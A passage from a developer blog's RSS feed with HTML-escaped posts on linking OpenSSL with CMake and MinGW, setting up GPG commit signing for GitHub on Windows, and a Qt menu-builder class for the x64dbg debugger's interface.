&lt;span class=&quot;kd&quot;&gt;genlib&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;libeay32&lt;/span&gt;.dll

&lt;span class=&quot;nb&quot;&gt;copy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;.a &lt;span class=&quot;kd&quot;&gt;lib&lt;/span&gt;\
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMakeLists.txt&lt;/code&gt; looks like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Project configuration
cmake_minimum_required(VERSION 2.7)
project(OpenSSLTest)

# Use C++11
set(CMAKE_CXX_STANDARD 11)

# Project source files
set(SOURCE_FILES main.cpp)
add_executable(OpenSSLTest ${SOURCE_FILES})

# OpenSSL (find, include, link) 
find_package(OpenSSL REQUIRED)
include_directories(${OPENSSL_INCLUDE_DIR})
target_link_libraries(${PROJECT_NAME} ${OPENSSL_LIBRARIES})
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And some simple test code:&lt;/p&gt;

&lt;div class=&quot;language-c++ highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;iostream&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;openssl/ssl.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;SSLeay Version: &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SSLeay_version&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SSLEAY_VERSION&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;endl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;SSL_library_init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;auto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SSL_CTX_new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SSLv23_client_method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;auto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SSL_new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;SSL Version: &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SSL_get_version&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;endl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;SSL_free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;SSL_new failed...&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;endl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;SSL_CTX_free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;SSL_CTX_new failed...&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;endl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If everything is configured correctly this should print:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SSLeay Version: OpenSSL 1.0.2k  26 Jan 2017
SSL Version: TLSv1.2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you cannot be bothered to run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;genlib&lt;/code&gt; yourself, you can find a copy the required files &lt;a href=&quot;/files/OpenSSL-Win64-MinGW-w64.zip&quot;&gt;here&lt;/a&gt; and get started immediately.&lt;/p&gt;

&lt;p&gt;Hope this helped,&lt;/p&gt;

&lt;p&gt;Duncan&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/coding/2017/04/01/CMake-OpenSSL-and-MinGW-on-Windows</link>
                <guid>https://mrexodia.github.io/coding/2017/04/01/CMake-OpenSSL-and-MinGW-on-Windows</guid>
                <pubDate>2017-04-01T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>My Inactivity</title>
                <description>
&lt;p&gt;Currently I do not have much time to update this blog because I am writing for the &lt;a href=&quot;http://blog.x64dbg.com&quot;&gt;x64dbg blog&lt;/a&gt;, check it out!&lt;/p&gt;

&lt;p&gt;Duncan&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/guide/2016/09/22/My-inactivity</link>
                <guid>https://mrexodia.github.io/guide/2016/09/22/My-inactivity</guid>
                <pubDate>2016-09-22T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>Github Gpg</title>
                <description>
&lt;p&gt;Hello everyone,&lt;/p&gt;

&lt;p&gt;Today I saw &lt;a href=&quot;https://github.com/blog/2144-gpg-signature-verification&quot;&gt;this broadcast&lt;/a&gt; on &lt;a href=&quot;https://github.com&quot;&gt;Github&lt;/a&gt; which states that GPG signature verification was added to Github. It took me a bit of searching before I got it to work from both the command line and &lt;a href=&quot;https://gitextensions.github.io&quot;&gt;Git Extensions&lt;/a&gt; so in this guide I will explain how I did it.&lt;/p&gt;

&lt;h2 id=&quot;installing-git-extensions&quot;&gt;Installing Git (Extensions)&lt;/h2&gt;

&lt;p&gt;The first thing to install is the latest (v2.0.0+) version of &lt;a href=&quot;https://git-for-windows.github.io&quot;&gt;Git for Windows&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;After will have to install &lt;a href=&quot;https://github.com/gitextensions/gitextensions/releases&quot;&gt;Git Extensions&lt;/a&gt;. Make sure to select the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-SetupComplete&lt;/code&gt; but &lt;strong&gt;do not&lt;/strong&gt; install MsysGit from there since you already installed a newer version.&lt;/p&gt;

&lt;p&gt;Make sure you configure Git (Extensions) correctly so your identity is in sync with your Github email/username.&lt;/p&gt;

&lt;h2 id=&quot;installing-gpg&quot;&gt;Installing GPG&lt;/h2&gt;

&lt;p&gt;You can download and install GPG from &lt;a href=&quot;https://www.gpg4win.org/download.html&quot;&gt;here&lt;/a&gt;. Next verify that you installed everything correctly:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Users\Admin&amp;gt;git --version
git version 2.8.3.windows.1

C:\Users\Admin&amp;gt;gpg --version
gpg (GnuPG) 2.0.30 (Gpg4win 2.3.1)
libgcrypt 1.6.5
Copyright (C) 2015 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later &amp;lt;http://gnu.org/licenses/gpl.html&amp;gt;
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Home: C:/Users/Admin/AppData/Roaming/gnupg
Supported algorithms:
Pubkey: RSA, RSA, RSA, ELG, DSA
Cipher: IDEA, 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH,
        CAMELLIA128, CAMELLIA192, CAMELLIA256
Hash: MD5, SHA1, RIPEMD160, SHA256, SHA384, SHA512, SHA224
Compression: Uncompressed, ZIP, ZLIB, BZIP2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you get any errors, make sure you added everything to your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATH&lt;/code&gt; environment variable.&lt;/p&gt;

&lt;h2 id=&quot;generating-gpg-keys&quot;&gt;Generating GPG Keys&lt;/h2&gt;

&lt;p&gt;Follow &lt;a href=&quot;https://help.github.com/articles/generating-a-new-gpg-key&quot;&gt;this&lt;/a&gt; guide. In short:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Users\Admin&amp;gt;gpg --gen-key
gpg (GnuPG) 2.0.30; Copyright (C) 2015 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
Your selection? 1
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 4096
Requested keysize is 4096 bits
Please specify how long the key should be valid.
         0 = key does not expire
      &amp;lt;n&amp;gt;  = key expires in n days
      &amp;lt;n&amp;gt;w = key expires in n weeks
      &amp;lt;n&amp;gt;m = key expires in n months
      &amp;lt;n&amp;gt;y = key expires in n years
Key is valid for? (0) 0
Key does not expire at all
Is this correct? (y/N) y

Real name: githubgpgtest
Email address: githubgpgtest@gmail.com
Comment:

gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1u
pub   4096R/6B84CA35 2016-05-30
      Key fingerprint = DF55 D8E3 B4E5 9614 7ADF  8E6E E5B6 4A58 6B84 CA35
uid       [ultimate] githubgpgtest &amp;lt;githubgpgtest@gmail.com&amp;gt;
sub   4096R/63BEB3EE 2016-05-30
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Notice&lt;/strong&gt;: I will be using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;6B84CA35&lt;/code&gt; as my identifier for my key, you should use your own in the upcoming commands.&lt;/p&gt;

&lt;h2 id=&quot;adding-your-key-to-github&quot;&gt;Adding your key to Github&lt;/h2&gt;

&lt;p&gt;Follow &lt;a href=&quot;https://help.github.com/articles/adding-a-new-gpg-key-to-your-github-account&quot;&gt;this&lt;/a&gt; guide. In short:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Users\Admin&amp;gt;gpg --list-keys
C:/Users/Admin/AppData/Roaming/gnupg/pubring.gpg
------------------------------------------------
pub   4096R/6B84CA35 2016-05-30
uid       [ultimate] githubgpgtest &amp;lt;githubgpgtest@gmail.com&amp;gt;
sub   4096R/63BEB3EE 2016-05-30


C:\Users\Admin&amp;gt;gpg --armor --export 6B84CA35
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v2

mQINBFdMlawBEADUmBNVR8psLgeBQ1hz2N7VjVmiPiwbgpIK9VAToLX8BYl2ZPYB
...
=k1LJ
-----END PGP PUBLIC KEY BLOCK-----
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Add your key to your Github account through &lt;a href=&quot;https://github.com/settings/keys&quot;&gt;this&lt;/a&gt; page:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/1C6SKwz.png&quot; alt=&quot;github screenshot&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;configuring-git&quot;&gt;Configuring Git&lt;/h2&gt;

&lt;p&gt;Set your globally installed GPG version in Git (make sure to alter this path if you installed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gpg2.exe&lt;/code&gt; in a different location):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git config --global gpg.program &quot;C:/Program Files (x86)/GNU/GnuPG/gpg2.exe&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then set your generated signing key:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git config --global user.signingkey 6B84CA35
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;These commands enable automatic GPG signing for commits and tags (which is required if you want this to work with Git Extensions):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git config --global commit.gpgsign true
git config --global tag.gpgsign true
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now when commiting the Git Extensions it should show you the following dialog:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/3VdRMSg.png&quot; alt=&quot;gpg password&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After pushing to the repository Github shows your commits as verified:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/LcZ9qIO.png&quot; alt=&quot;verified&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;That’s about it, your passphrase should cache for a while so you shouldn’t be bothered with entering your passphrase every single time you commit. You can configure your caching times here:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/TMT2T9t.png&quot; alt=&quot;gpg cache&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The first entry is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;default-cache-ttl&lt;/code&gt; option, the second &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;max-cache-ttl&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;--default-cache-ttl n
    Set the time a cache entry is valid to n seconds. The default is 600
    seconds.
--max-cache-ttl n
    Set the maximum time a cache entry is valid to n seconds. After this time a
    cache entry will be expired even if it has been accessed recently. The
    default is 2 hours (7200 seconds).
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you enjoyed this post, feel free to share it with your friends through social media.&lt;/p&gt;

&lt;p&gt;Duncan&lt;/p&gt;
</description>
                <link>https://mrexodia.github.io/guide/2016/05/30/Github-Gpg</link>
                <guid>https://mrexodia.github.io/guide/2016/05/30/Github-Gpg</guid>
                <pubDate>2016-05-30T00:00:00+00:00</pubDate>
        </item>

        <item>
                <title>Dynamic Menu Builder</title>
                <description>
&lt;p&gt;Hello folks,&lt;/p&gt;

&lt;p&gt;While on the plane back home I decided to write another little blog post. This time I will be showing you a nice class I came up with for &lt;a href=&quot;http://x64dbg.com&quot;&gt;x64dbg&lt;/a&gt; to manage menu items.&lt;/p&gt;

&lt;h2 id=&quot;the-problem&quot;&gt;The problem&lt;/h2&gt;

&lt;p&gt;As with every abstraction it starts with a problem you are trying to solve. In this case the problem was code duplication and general tediousness with the construction of the context (right click) menus in x64dbg.&lt;/p&gt;

&lt;p&gt;The general idea of Qt is great. From my understanding, every context menu is a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QMenu&lt;/code&gt; with a bunch of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QAction&lt;/code&gt; or other &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QMenu&lt;/code&gt; items in it. When a user right-clicks in the widget a &lt;em&gt;signal&lt;/em&gt; will be emitted and the widget can &lt;em&gt;connect&lt;/em&gt; to the &lt;em&gt;signal&lt;/em&gt;, construct the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QMenu&lt;/code&gt; and ‘execute’ the menu on the mouse position. Each &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QAction&lt;/code&gt; has a &lt;em&gt;signal&lt;/em&gt; called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;triggered()&lt;/code&gt; which you can &lt;em&gt;connect&lt;/em&gt; to a slot in your widget to handle the click event.&lt;/p&gt;

&lt;p&gt;If there is no variation in the menu everything works perfectly fine. You just create all the actions, menus and connections in the constructor and store the final &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QMenu&lt;/code&gt; item in the class. Then when you need the menu you do &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mMenu-&amp;gt;exec(position)&lt;/code&gt; and you are done with it.&lt;/p&gt;

&lt;p&gt;In x64dbg the menus are based on the &lt;strong&gt;context&lt;/strong&gt;, so the static approach doesn’t work. What we did was create and connect all the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QAction&lt;/code&gt; items in the constructor and then dynamically create the menu. What this did was create a lot of fragmentation. All the actions had to be declared in the header, the slots for the actions had to be declared in the header and the source and adding a new action would result in a lot of code that looked exactly like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mFollowAddress = new QAction(&quot;&amp;amp;Follow in Disassembler&quot;, this);
connect(mFollowAddress, SIGNAL(triggered()), this, SLOT(followAddress()));
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For actions with a shortcut and an icon it was even worse:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mToggleBreakpoint = new QAction(&quot;Toggle Breakpoint&quot;, this);
mToggleBreakpoint-&amp;gt;setShortcutContext(Qt::WidgetShortcut);
mToggleBreakpoint-&amp;gt;setIcon(QIcon(&quot;:/images/icons/breakpoint.png&quot;));
addAction(mToggleBreakpoint);
connect(mToggleBreakpoint, SIGNAL(triggered()), this, SLOT(toggleBreakpoint()));
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Shortcuts also require setting the actual shortcut in a dedicated slot called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;refreshShortcutsSlot()&lt;/code&gt; which is connected to the settings dialog so shortcuts are updated when the user updates the settings:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;void ReferenceView::refreshShortcutsSlot()
{
    mToggleBreakpoint-&amp;gt;setShortcut(ConfigShortcut(&quot;ActionToggleBreakpoint&quot;));
    mToggleBookmark-&amp;gt;setShortcut(ConfigShortcut(&quot;ActionToggleBookmark&quot;));
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally the menu is created in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;contextMenuEvent&lt;/code&gt; like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;if(!DbgMemIsValidReadPtr(addr))
        return;
wMenu-&amp;gt;addAction(mFollowAddress);
wMenu-&amp;gt;addAction(mFollowDumpAddress);
if(apiAddressFromString(mCurList-&amp;gt;getCellContent(mCurList-&amp;gt;getInitialSelection(), 1)))
    wMenu-&amp;gt;addAction(mFollowApiAddress);
wMenu-&amp;gt;addSeparator();
wMenu-&amp;gt;addAction(mToggleBreakpoint);
wMenu-&amp;gt;addAction(mToggleBookmark);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you can imagine, adding an action with an icon, a shortcut and some context-dependent behaviour was a very tedious process and this needed to change.&lt;/p&gt;

&lt;h2 id=&quot;menubuilder&quot;&gt;MenuBuilder&lt;/h2&gt;

&lt;p&gt;Part of the solution is a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MenuBuilder&lt;/code&gt; class. This is a recursive datatype (like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QMenu&lt;/code&gt;) but it lazily builds the menu, which allows for proper context-awareness.&lt;/p&gt;

&lt;p&gt;To achieve context-awareness, each &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QAction/QMenu/MenuBuilder&lt;/code&gt; you add to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MenuBuilder&lt;/code&gt; is paired with an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;std::function&lt;/code&gt;. If the callback returns true, the item is added to the final &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QMenu&lt;/code&gt;, otherwise it is ommitted. This allows for constructs like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mBuilder-&amp;gt;addAction(followAction, [this](QMenu* menu)
{ //only add followAction if the selected address is readable.
    return DbgMemIsValidReadPtr(this-&amp;gt;selectedAddress());
});
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;followAction&lt;/code&gt; will only be added to the final &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QMenu&lt;/code&gt; if the currently selected address is a valid memory address. This is a huge save in code, the menu creation slot can be replaced with:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;QMenu menu;
mBuilder-&amp;gt;build(&amp;amp;menu);
menu.exec(pos);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There are some extra features (like using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;menu&lt;/code&gt; parameter of the lambda to add extra actions to the final &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QMenu&lt;/code&gt;, but if you want more details, read the code &lt;a href=&quot;https://github.com/x64dbg/x64dbg/blob/bc9c05537fa7d64ed440a40099beb2a2c2e407a0/src/gui/Src/Utils/MenuBuilder.h&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;actions&quot;&gt;Actions&lt;/h2&gt;

&lt;p&gt;The next problem to solve is the creation of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QAction&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QMenu&lt;/code&gt; items. The solution was to create a few simple helper methods in the base class (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AbstractTableView&lt;/code&gt;):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;template&amp;lt;typename T&amp;gt;
inline QAction* makeAction(const QString &amp;amp; text, T slot)
{
    return connectAction(new QAction(text, this), slot);
}

inline QAction* connectAction(QAction* action, const char* slot)
{
    connect(action, SIGNAL(triggered(bool)), this, slot);
    return action;
}

inline QAction* connectAction(QAction* action, QActionLambda::TriggerCallback callback)
{
    auto lambda = new QActionLambda(action-&amp;gt;parent(), callback);
    connect(action, SIGNAL(triggered(bool)), lambda, SLOT(triggeredSlot()));
    return action;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;makeAction&lt;/code&gt; uses a template because I added lambda support to the actions. This is not in Qt 4 and rather simple to implemented so I decided to add it:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;class QActionLambda : public QObject
{
    Q_OBJECT
public:
    typedef std::function&amp;lt;void()&amp;gt; TriggerCallback;

    QActionLambda(QObject* parent, TriggerCallback callback)
        : QObject(parent),
          _callback(callback)
    {
    }

public slots:
    void triggeredSlot()
    {
        if(_callback)
            _callback();
    }

private:
    TriggerCallback _callback;
};
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

